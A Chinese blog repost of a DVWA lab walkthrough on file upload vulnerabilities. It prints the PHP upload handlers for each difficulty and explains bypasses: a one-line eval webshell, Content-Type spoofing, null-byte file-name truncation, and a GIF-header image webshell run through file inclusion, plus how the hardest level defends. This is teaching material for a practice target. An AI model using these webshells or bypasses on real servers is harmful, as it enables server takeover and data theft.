DVWA靶场-文件上传漏洞

这篇具有很好参考价值的文章主要介绍了DVWA靶场-文件上传漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

第五关:File upload(文件上传)

      文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
DVWA靶场-文件上传漏洞

Low

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

basename(str,name)
      函数返回路径中的文件名部分,如果可选参数name为空,则返回的文件名包含后缀名,反之不包含后缀名。
      对源码分析可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。文件上传没有做任何限制,可以上传任何文件,在上传一句话木马,然后通过蚁剑或者中国菜刀拿到webshell。
DVWA靶场-文件上传漏洞

      上传成功后,页面返回的信息

DVWA靶场-文件上传漏洞

      使用蚁剑直接连接,口令为hacker,然后蚁剑就会通过向服务器发送包含hacker参数的post请求,在服务器上执行任意命令,获取webshell权限,进入网站后台。可以下载、修改服务器的所有文件。如下图
DVWA靶场-文件上传漏洞
DVWA靶场-文件上传漏洞

Medium

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

分析代码发现,程序对上传的文件类型的大小做了限制,文件类型必须为image/jpeg和image/png,且文件大小要小于100000b
当上传php文件时,页面将提示错误
DVWA靶场-文件上传漏洞

使用burp suite抓包修改Content-Type类型
DVWA靶场-文件上传漏洞
DVWA靶场-文件上传漏洞

使用00截断绕过
在php<5.3.4中,处理字符串的函数认为0x00是终止符。那么我们可以利用 00截断 的方法来上传一句话木马。网站上传函数处理a.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在点击上传后,使用burpsuite进行抓包拦截,点击右键发送至repeater模块,选择 %00 右键进行url-decode编码,之后点击send发送,可以看见文件a.php上传成功。然后就可以用菜刀连接了。(或者将上传的php文件命名为a.php .jpg[中间有空格],抓包后选择repeater模块,之后点击hex选择十六进制编码,在该文件名对应的行数,将 20 改为 00,之后选择send发送,也可使php文件上传成功)

DVWA靶场-文件上传漏洞
DVWA靶场-文件上传漏洞

DVWA靶场-文件上传漏洞

High

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
getimagesize(string): 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片
move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置

因此,上传文件名为1.jpg,且文件内容为<?php @eval($_POST['hacker']);?>,此时页面将报错,显示上传失败,因为getimagesize()函数判断该文件不是有效的图片文件,所有需要在文件中加入文件头。

GIF89
<?php @eval($_POST['hacker']); ?>

在文件1.jpg中加入上面的字符,即显示上传文件成功,但是作为图片文件不能被当作php文件执行,因此可以利用文件包含漏洞,将上传的图片文件作为php文件执行。并可以使用中国菜刀进行连接,获取webshell。连接url为http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/WWW/DVWA-1.9/1.jpg

Impossible

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

imagecreatefromjpeg(filename): 从给定的文件或url中创建一个新的图片

imagejpeg(image,filename,quality): 从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)

imagedestroy(image): 销毁图像

分析源码可以看到,代码中加入了token机制用于防御CSRF攻击,并对文件名进行了MD5加密,防止了00截断绕过过滤规则,同时对文件后缀和文件类型做了白名单设置,并且还对文件内容作了严格的检查,不符合图片的内容一律舍弃,导致攻击者无法将含有恶意代码的图片上传成功。文章来源地址https://www.toymoban.com/news/detail-469165.html

到了这里,关于DVWA靶场-文件上传漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 文件上传漏洞-upload靶场1-2关 通过笔记(如何区分前段验证和后端验证)

    upload是一个文件上传的专用靶场,搭设也非常简单,只需要把相关源码文件放到apache的网站目录下即可使用,或者去github下载一键绿化包进行安装链接如下: [Releases · c0ny1/upload-labs (github.com)] 下载后按照使用说明安装即可,在安装该靶场时最好安装在虚拟机中,在此也不做过

    2024年02月11日
    浏览(45)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)
  • DVWA 之 File Upload(文件上传)

    目录 1、级别:Low  2、级别:Medium 3、级别:High    什么是文件上传漏洞? 黑客利用文件上传后服务器解析处理文件的漏洞上传一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。 造成文件上传漏洞的原因 : 1.服务器配置不当 2.开源编辑器上传漏洞

    2024年02月07日
    浏览(39)
  • 文件上传 —— 靶场upload-labs-master

    链接:https://pan.baidu.com/s/1I7nwmMdt9XB2AbcYQJ3_eA 提取码:1234 简介:个人学习记录 目录 一、前端js验证 二、mime类型绕过 三、黑名单绕过 四、.htaccess文件配置文件漏洞,无过滤 五、考查 .user.ini文件 六、大小写 七、trim()去空操作 八、winous特性,以.结尾无效 九、::$data 十、一次过

    2024年02月05日
    浏览(46)
  • upload-labs文件上传靶场实操

    上传姿势总结: 1)改后缀名绕过 2)Content-Type绕过 3)本地文件包含 4)远程文件包含 5)httpd.conf黑名单绕过 6)htaccess绕过 7)大小写绕过 8)空格绕过 9)点绕过 10)特殊符号::$DATA绕过 11). .绕过 12)多写绕过(多写php) 13)%00截断目录绕过 14)16进制00截断目录 15)本地文件包含+文件头绕过 16)本地

    2024年02月08日
    浏览(49)
  • DVWA之文件上传漏洞

    指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。 “文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解

    2024年02月12日
    浏览(37)
  • 上传漏洞(一句话木马、中国菜刀使用、DVWA文件上传漏洞利用)

       可抓包后修改扩展名为图片格式,再上传可绕过验证。如:   可以修改php文件后缀为其他,再上传。如test.php.xxx  可对图片文件添加一句话木马,再修改为.php上传,会解析为图片上传此文件。    客户端验证绕过的方法有:  例:   1)木马分为大马、小马和一句话木马:

    2024年02月11日
    浏览(44)
  • 【网络安全 --- 任意文件上传漏洞靶场闯关 6-15关】任意文件上传漏洞靶场闯关,让你更深入了解文件上传漏洞以及绕过方式方法,思路技巧

      首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识 超详细的网络安全笔记 分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记​编辑https://m.tb.cn/h.5JdFcih?tk=OuVrWRl9vMx%20CZ3457 https://m.tb.cn/

    2024年02月07日
    浏览(48)
  • 【文件上传漏洞-04】文件上传路径截断靶场实战

    在ASCII码中,00代表的是空(Null)字符,在URL中表现为%00。在文件截断攻击中,就是采用空字符来误导服务器截断字符串,以达到绕过攻击的目的。00截断会导致文件上传路径截断 原理: 服务器后台采用的是move_uploaded_file()函数将上传的文件移动到新位置也就是文件另存,函数在

    2024年02月12日
    浏览(51)
  • 文件上传漏洞 (upload部分通关教程)

    只适合只有前端验证的网站 一句话木马: 保存到文件中: 使用第一关直接上传,报错: 按照网站要求,修改文件后缀名为jpg: 重新上传111.jpg文件,打开burp抓包,修改包中的后缀名 点击Forword上传,上传成功: 使用蚁剑连接后台步骤: 复制url: 连接成功: 原理就是验证后

    2024年02月22日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包